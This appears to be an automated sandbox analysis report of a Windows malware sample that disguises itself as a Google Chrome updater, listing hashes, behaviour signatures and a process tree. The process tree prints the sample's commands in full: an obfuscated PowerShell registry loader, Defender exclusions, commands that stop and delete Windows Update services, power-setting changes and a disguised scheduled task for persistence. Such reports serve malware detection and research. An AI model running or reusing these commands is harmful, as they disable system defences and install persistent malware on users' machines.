Analysis
-
max time kernel
59s -
max time network
31s -
platform
windows7_x64 -
resource
win7-20230621-en -
resource tags
arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system -
submitted
29-06-2023 20:49
Static task
static1
Behavioral task
behavioral1
Sample
dmi1dfg7n.exe
Resource
win7-20230621-en
Behavioral task
behavioral2
Sample
dmi1dfg7n.exe
Resource
win10v2004-20230621-en
General
-
Target
dmi1dfg7n.exe
-
Size
2.8MB
-
MD5
9253ed091d81e076a3037e12af3dc871
-
SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981
-
SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
-
SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
-
SSDEEP
49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 1288 created 416 1288 powershell.EXE winlogon.exe PID 1572 created 416 1572 powershell.EXE winlogon.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 752 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 924 taskeng.exe -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exepowershell.EXEpowershell.EXEpowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
dmi1dfg7n.exepowershell.EXEpowershell.EXEdescription pid process target process PID 1620 set thread context of 1040 1620 dmi1dfg7n.exe dialer.exe PID 1288 set thread context of 996 1288 powershell.EXE dllhost.exe PID 1572 set thread context of 2008 1572 powershell.EXE dllhost.exe -
Drops file in Program Files directory 1 IoCs
Processes:
dmi1dfg7n.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe dmi1dfg7n.exe -
Drops file in Windows directory 6 IoCs
Processes:
dialer.exesvchost.exedescription ioc process File created C:\Windows\Tasks\dialersvc64.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc64.job dialer.exe File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job svchost.exe File created C:\Windows\Tasks\dialersvc32.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc32.job dialer.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1892 sc.exe 996 sc.exe 1692 sc.exe 1004 sc.exe 1040 sc.exe 1208 sc.exe 1892 sc.exe 1764 sc.exe 1728 sc.exe 984 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0b33347cbaad901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEpowershell.exepowershell.exepid process 1700 powershell.exe 640 powershell.exe 2008 powershell.exe 1288 powershell.EXE 1288 powershell.EXE 996 dllhost.exe 996 dllhost.exe 1572 powershell.EXE 996 dllhost.exe 996 dllhost.exe 1572 powershell.EXE 1200 powershell.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 1624 powershell.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe 996 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 21 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEsvchost.exepowershell.exepowercfg.exepowercfg.exepowershell.exeWMIC.exepowercfg.exedescription pid process Token: SeDebugPrivilege 1700 powershell.exe Token: SeShutdownPrivilege 984 powercfg.exe Token: SeShutdownPrivilege 1608 powercfg.exe Token: SeShutdownPrivilege 1916 powercfg.exe Token: SeDebugPrivilege 640 powershell.exe Token: SeShutdownPrivilege 1060 powercfg.exe Token: SeDebugPrivilege 2008 powershell.exe Token: SeDebugPrivilege 1288 powershell.EXE Token: SeDebugPrivilege 1288 powershell.EXE Token: SeDebugPrivilege 996 dllhost.exe Token: SeDebugPrivilege 1572 powershell.EXE Token: SeDebugPrivilege 1572 powershell.EXE Token: SeAuditPrivilege 844 svchost.exe Token: SeDebugPrivilege 1200 powershell.exe Token: SeAuditPrivilege 844 svchost.exe Token: SeShutdownPrivilege 864 powercfg.exe Token: SeAuditPrivilege 844 svchost.exe Token: SeShutdownPrivilege 364 powercfg.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeShutdownPrivilege 820 WMIC.exe Token: SeShutdownPrivilege 1780 powercfg.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
dmi1dfg7n.execmd.execmd.exepowershell.exedescription pid process target process PID 1620 wrote to memory of 1700 1620 dmi1dfg7n.exe powershell.exe PID 1620 wrote to memory of 1700 1620 dmi1dfg7n.exe powershell.exe PID 1620 wrote to memory of 1700 1620 dmi1dfg7n.exe powershell.exe PID 1620 wrote to memory of 584 1620 dmi1dfg7n.exe cmd.exe PID 1620 wrote to memory of 584 1620 dmi1dfg7n.exe cmd.exe PID 1620 wrote to memory of 584 1620 dmi1dfg7n.exe cmd.exe PID 1620 wrote to memory of 1232 1620 dmi1dfg7n.exe cmd.exe PID 1620 wrote to memory of 1232 1620 dmi1dfg7n.exe cmd.exe PID 1620 wrote to memory of 1232 1620 dmi1dfg7n.exe cmd.exe PID 1620 wrote to memory of 640 1620 dmi1dfg7n.exe powershell.exe PID 1620 wrote to memory of 640 1620 dmi1dfg7n.exe powershell.exe PID 1620 wrote to memory of 640 1620 dmi1dfg7n.exe powershell.exe PID 1232 wrote to memory of 984 1232 cmd.exe powercfg.exe PID 1232 wrote to memory of 984 1232 cmd.exe powercfg.exe PID 1232 wrote to memory of 984 1232 cmd.exe powercfg.exe PID 584 wrote to memory of 1764 584 cmd.exe sc.exe PID 584 wrote to memory of 1764 584 cmd.exe sc.exe PID 584 wrote to memory of 1764 584 cmd.exe sc.exe PID 584 wrote to memory of 1892 584 cmd.exe sc.exe PID 584 wrote to memory of 1892 584 cmd.exe sc.exe PID 584 wrote to memory of 1892 584 cmd.exe sc.exe PID 1232 wrote to memory of 1608 1232 cmd.exe powercfg.exe PID 1232 wrote to memory of 1608 1232 cmd.exe powercfg.exe PID 1232 wrote to memory of 1608 1232 cmd.exe powercfg.exe PID 584 wrote to memory of 996 584 cmd.exe sc.exe PID 584 wrote to memory of 996 584 cmd.exe sc.exe PID 584 wrote to memory of 996 584 cmd.exe sc.exe PID 584 wrote to memory of 1692 584 cmd.exe sc.exe PID 584 wrote to memory of 1692 584 cmd.exe sc.exe PID 584 wrote to memory of 1692 584 cmd.exe sc.exe PID 1232 wrote to memory of 1916 1232 cmd.exe powercfg.exe PID 1232 wrote to memory of 1916 1232 cmd.exe powercfg.exe PID 1232 wrote to memory of 1916 1232 cmd.exe powercfg.exe PID 584 wrote to memory of 1004 584 cmd.exe sc.exe PID 584 wrote to memory of 1004 584 cmd.exe sc.exe PID 584 wrote to memory of 1004 584 cmd.exe sc.exe PID 1232 wrote to memory of 1060 1232 cmd.exe powercfg.exe PID 1232 wrote to memory of 1060 1232 cmd.exe powercfg.exe PID 1232 wrote to memory of 1060 1232 cmd.exe powercfg.exe PID 584 wrote to memory of 1788 584 cmd.exe reg.exe PID 584 wrote to memory of 1788 584 cmd.exe reg.exe PID 584 wrote to memory of 1788 584 cmd.exe reg.exe PID 584 wrote to memory of 600 584 cmd.exe reg.exe PID 584 wrote to memory of 600 584 cmd.exe reg.exe PID 584 wrote to memory of 600 584 cmd.exe reg.exe PID 584 wrote to memory of 1416 584 cmd.exe reg.exe PID 584 wrote to memory of 1416 584 cmd.exe reg.exe PID 584 wrote to memory of 1416 584 cmd.exe reg.exe PID 584 wrote to memory of 1088 584 cmd.exe reg.exe PID 584 wrote to memory of 1088 584 cmd.exe reg.exe PID 584 wrote to memory of 1088 584 cmd.exe reg.exe PID 584 wrote to memory of 1468 584 cmd.exe reg.exe PID 584 wrote to memory of 1468 584 cmd.exe reg.exe PID 584 wrote to memory of 1468 584 cmd.exe reg.exe PID 640 wrote to memory of 1112 640 powershell.exe schtasks.exe PID 640 wrote to memory of 1112 640 powershell.exe schtasks.exe PID 640 wrote to memory of 1112 640 powershell.exe schtasks.exe PID 1620 wrote to memory of 1040 1620 dmi1dfg7n.exe dialer.exe PID 1620 wrote to memory of 1040 1620 dmi1dfg7n.exe dialer.exe PID 1620 wrote to memory of 1040 1620 dmi1dfg7n.exe dialer.exe PID 1620 wrote to memory of 1040 1620 dmi1dfg7n.exe dialer.exe PID 1620 wrote to memory of 2008 1620 dmi1dfg7n.exe powershell.exe PID 1620 wrote to memory of 2008 1620 dmi1dfg7n.exe powershell.exe PID 1620 wrote to memory of 2008 1620 dmi1dfg7n.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {69AFCAD3-3FCD-44C7-BBF7-EACFCF32EA14} S-1-5-18:NT AUTHORITY\System:Service:3⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc6⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc6⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv6⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits6⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc6⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f6⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f6⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f6⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f6⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f6⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 06⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 06⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 06⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 06⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"6⤵
- Creates scheduled task(s)
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe xtrjicqmdliu5⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"6⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor6⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=5⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a5200e04-f410-4840-8ae0-cf637871e866}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{04c71466-d194-47df-8f42-df5c5731863c}2⤵
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"2⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f4⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f4⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC4⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1278222420-11165018997835238021410407212-986952603-363503479-1687235205-1303225635"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1103483541-7492176921745573383-1939360770-623526116488899322192534640-1057842917"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-97422256984607530-9861395481966586317-694809816-8139275181831442570-1019497216"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1075878641139701073-174883631468702440-1104803141-1061732215-1567204101647742905"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-172861469443782466058238582-14432744591752742367-1455990233-1491400951-2102073312"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
SHA512ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
SHA512ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
-
C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD56ac138fba959871fc6efaf8ec41307cd
SHA13405c283eceb11441d536273d148937476ca1003
SHA256a4bdcb4b6e555ea9cde0caca091e9001e1db85ec0e8fe81736f007097af281cc
